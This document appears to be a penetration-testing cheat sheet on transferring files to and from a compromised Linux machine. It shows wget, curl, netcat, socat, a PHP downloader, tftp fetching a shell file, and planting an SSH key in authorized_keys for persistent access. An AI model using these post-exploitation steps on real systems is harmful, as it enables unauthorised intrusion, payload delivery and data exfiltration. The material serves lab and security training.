Transferring Files on Linux

Set Up a Simple Python Webserver

For the examples using curl and wget we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

python -m SimpleHTTPServer 9999

Wget

You can download files using wget like this:

wget 192.168.1.102:9999/file.txt

Curl

curl -O http://192.168.0.101/file.txt

Netcat

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

nc -lvp 4444 < file

On target machine:

nc 192.168.1.102 4444 > file

You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:

nc -lvp 3333 > enum.sh

And on the attacking machine we send the file like this:

nc 192.168.1.103 < enum.sh

I have sometimes received this error:

This is nc from the netcat-openbsd package. An alternative nc is available

I have just run this command instead:

nc -l 1234 > file.sh

Socat

Server receiving file:

server$ socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
client$ socat -u FILE:test.txt TCP:127.0.0.1:9876

Server sending file:

server$ socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
client$ socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat

With php

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

Tftp

On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:

$ tftp 192.168.0.101
tftp> get myfile.txt

If we can't run it interactively, for whatever reason, we can do this trick:

tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"

SSH - SCP

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the /home/user directory you can find the hidden .ssh files by typing ls -la.
Then you need to do two things.

  1. Create a new keypair

You do that with:

ssh-keygen -t rsa -C "your_email@example.com"

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:

This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.

  1. Add your public key to authorized_keys.

Now you copy the content of nameOfMyKey_pub.
On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys
  1. Log in.

Now you should be all set to log in using your private key. Like this

ssh -i nameOfMyKey kim@192.168.1.103

SCP

Now we can copy files to a machine using scp

# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination

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